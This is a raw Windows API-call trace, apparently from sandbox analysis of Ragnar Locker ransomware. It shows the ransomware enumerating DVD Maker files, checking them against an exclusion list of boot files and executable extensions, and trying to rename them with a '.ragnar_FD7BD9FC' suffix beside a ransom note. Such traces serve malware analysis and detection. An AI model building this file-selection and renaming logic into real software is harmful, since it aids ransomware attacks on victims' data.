[0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="full.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="full.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0078.809] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0078.809] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.809] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.810] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.810] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0078.810] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0078.810] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8137c0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.810] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.810] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8137c0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.810] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8137c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8137c0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8137c0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.810] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0078.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.810] lstrcpyW (in: lpString1=0x1eab52, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0078.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png") returned=".png" [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0078.810] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0078.811] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.811] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0078.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.812] CloseHandle (hObject=0xffffffff) returned 0 [0078.812] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" [0078.812] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ragnar_FD7BD9FC" [0078.812] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.812] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0078.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.812] lstrcpyW (in: lpString1=0x1eab52, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0078.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned=".png" [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="autorun.inf") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootfont.bin") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootsect.bak") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr.efi") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgfw.efi") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="iconcache.db") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0078.812] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0078.813] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat.log") returned -1 [0078.813] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.ini") returned -1 [0078.813] lstrcmpiW (lpString1="15x15dot.png", lpString2="thumbs.db") returned -1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.813] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0078.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.814] CloseHandle (hObject=0xffffffff) returned 0 [0078.814] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" [0078.814] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ragnar_FD7BD9FC" [0078.814] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.814] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0078.814] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.814] lstrcpyW (in: lpString1=0x1eab52, lpString2="dotsdarkoverlay.png" | out: lpString1="dotsdarkoverlay.png") returned="dotsdarkoverlay.png" [0078.814] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned=".png" [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="autorun.inf") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="boot.ini") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootfont.bin") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootsect.bak") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootmgr") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootmgr.efi") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="bootmgfw.efi") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="desktop.ini") returned 1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="iconcache.db") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntldr") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntuser.dat") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntuser.dat.log") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="ntuser.ini") returned -1 [0078.814] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="thumbs.db") returned -1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.814] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.815] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0078.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.815] CloseHandle (hObject=0xffffffff) returned 0 [0078.815] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" [0078.815] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ragnar_FD7BD9FC" [0078.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.816] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0078.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.816] lstrcpyW (in: lpString1=0x1eab52, lpString2="dotslightoverlay.png" | out: lpString1="dotslightoverlay.png") returned="dotslightoverlay.png" [0078.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned=".png" [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="autorun.inf") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="boot.ini") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootfont.bin") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootsect.bak") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootmgr") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootmgr.efi") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="bootmgfw.efi") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="desktop.ini") returned 1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="iconcache.db") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntldr") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntuser.dat") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntuser.dat.log") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="ntuser.ini") returned -1 [0078.816] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="thumbs.db") returned -1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.816] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.816] lstrcmpiW (lpString1=".png", 